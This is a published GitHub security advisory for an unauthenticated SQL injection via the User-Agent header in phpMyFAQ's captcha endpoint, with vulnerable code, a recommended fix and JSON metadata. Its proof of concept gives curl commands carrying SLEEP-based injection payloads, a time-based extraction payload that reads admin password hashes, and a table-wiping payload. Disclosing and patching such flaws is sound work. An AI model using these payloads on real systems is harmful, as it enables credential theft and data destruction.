GHSA-289F-FQ7W-6Q2W

Vulnerability from github – Published: 2026-05-06 20:49 – Updated: 2026-05-06 20:49
VLAI
Summary
phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha
Details

Summary

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

$this->userAgent = $request->headers->get('user-agent');
$this->ip = $request->getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

$delete = sprintf(
    "
    DELETE FROM
        %sfaqcaptcha
    WHERE
        useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
);
$this->configuration->getDb()->query($delete);

saveCaptcha() at line 330 does the same for INSERT:

$insert = sprintf(
    "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)",
    Database::getTablePrefix(),
    $this->code,
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
    $this->timestamp,
);
$this->configuration->getDb()->query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]
public function renderImage(): Response
{
    if (!$this->captcha instanceof BuiltinCaptcha) {
        return new Response('', Response::HTTP_NOT_FOUND);
    }
    // ...
    $response->setContent($this->captcha->getCaptchaImage());
    return $response;
}

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

  • Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds auth_source, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials.
  • UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "Mozilla/5.0" \
  "http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "x' OR SLEEP(2) OR 'x" \
  "http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

# leaks first character of the admin hash; 2s = 'a', 0s = otherwise
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
  "http://target:8090/api/captcha?nocache=3"

Iterating position and character enables full credential exfiltration without any authentication.

Impact

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Recommended Fix

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

$db = $this->configuration->getDb();
$userAgent = $db->escape($this->userAgent);
$language = $db->escape($this->configuration->getLanguage()->getLanguage());
$ip = $db->escape($this->ip);

$delete = sprintf(
    "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $userAgent,
    $language,
    $ip,
);
$db->query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:49:15Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x\u0027 OR SLEEP(2) OR \u0027x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink).\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time:\n\n```php\n$this-\u003euserAgent = $request-\u003eheaders-\u003eget(\u0027user-agent\u0027);\n$this-\u003eip = $request-\u003egetClientIp();\n```\n\nBoth fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement.\n\n`garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`):\n\n```php\n$delete = sprintf(\n    \"\n    DELETE FROM\n        %sfaqcaptcha\n    WHERE\n        useragent = \u0027%s\u0027 AND language = \u0027%s\u0027 AND ip = \u0027%s\u0027\",\n    Database::getTablePrefix(),\n    $this-\u003euserAgent,                                      // unescaped\n    $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n    $this-\u003eip,                                             // unescaped\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($delete);\n```\n\n`saveCaptcha()` at line 330 does the same for INSERT:\n\n```php\n$insert = sprintf(\n    \"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES (\u0027%s\u0027, \u0027%s\u0027, \u0027%s\u0027, \u0027%s\u0027, %d)\",\n    Database::getTablePrefix(),\n    $this-\u003ecode,\n    $this-\u003euserAgent,                                      // unescaped\n    $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n    $this-\u003eip,                                             // unescaped\n    $this-\u003etimestamp,\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($insert);\n```\n\nFor comparison, the same file\u0027s `checkCaptchaCode()` at line 472 passes user input through `$db-\u003eescape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it.\n\n### Reachability\n\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET:\n\n```php\n#[Route(path: \u0027captcha\u0027, name: \u0027api.private.captcha\u0027, methods: [\u0027GET\u0027])]\npublic function renderImage(): Response\n{\n    if (!$this-\u003ecaptcha instanceof BuiltinCaptcha) {\n        return new Response(\u0027\u0027, Response::HTTP_NOT_FOUND);\n    }\n    // ...\n    $response-\u003esetContent($this-\u003ecaptcha-\u003egetCaptchaImage());\n    return $response;\n}\n```\n\n`getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once.\n\n### Impact surface\n\nMySQL\u0027s `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can:\n\n- Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)=\u0027a\u0027, SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials.\n- `UPDATE` / `DELETE` arbitrary rows in the same connection\u0027s privilege scope using payloads that rewrite the DELETE\u0027s WHERE clause (for example, `User-Agent: \u0027 OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users).\n\n## Proof of Concept\n\nTested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`.\n\nStep 1: Baseline request with a clean `User-Agent`:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"Mozilla/5.0\" \\\n  \"http://target:8090/api/captcha?nocache=1\"\n# HTTP 500 0.147s\n```\n\nStep 2: Injection with `SLEEP(2)` in the User-Agent:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"x\u0027 OR SLEEP(2) OR \u0027x\" \\\n  \"http://target:8090/api/captcha?nocache=2\"\n# HTTP 500 4.093s\n```\n\nThe 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`.\n\nStep 3: Single-bit boolean extraction using time:\n\n```bash\n# leaks first character of the admin hash; 2s = \u0027a\u0027, 0s = otherwise\ncurl -sS -o /dev/null -A \"x\u0027 OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)=\u0027a\u0027,SLEEP(2),0) OR \u0027x\" \\\n  \"http://target:8090/api/captcha?nocache=3\"\n```\n\nIterating position and character enables full credential exfiltration without any authentication.\n\n## Impact\n\nUnauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection\u0027s scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`.\n\n## Recommended Fix\n\nRoute both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement.\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`:\n\n```php\n$db = $this-\u003econfiguration-\u003egetDb();\n$userAgent = $db-\u003eescape($this-\u003euserAgent);\n$language = $db-\u003eescape($this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage());\n$ip = $db-\u003eescape($this-\u003eip);\n\n$delete = sprintf(\n    \"DELETE FROM %sfaqcaptcha WHERE useragent = \u0027%s\u0027 AND language = \u0027%s\u0027 AND ip = \u0027%s\u0027\",\n    Database::getTablePrefix(),\n    $userAgent,\n    $language,\n    $ip,\n);\n$db-\u003equery($delete);\n```\n\nApply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-289f-fq7w-6q2w",
  "modified": "2026-05-06T20:49:15Z",
  "published": "2026-05-06T20:49:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…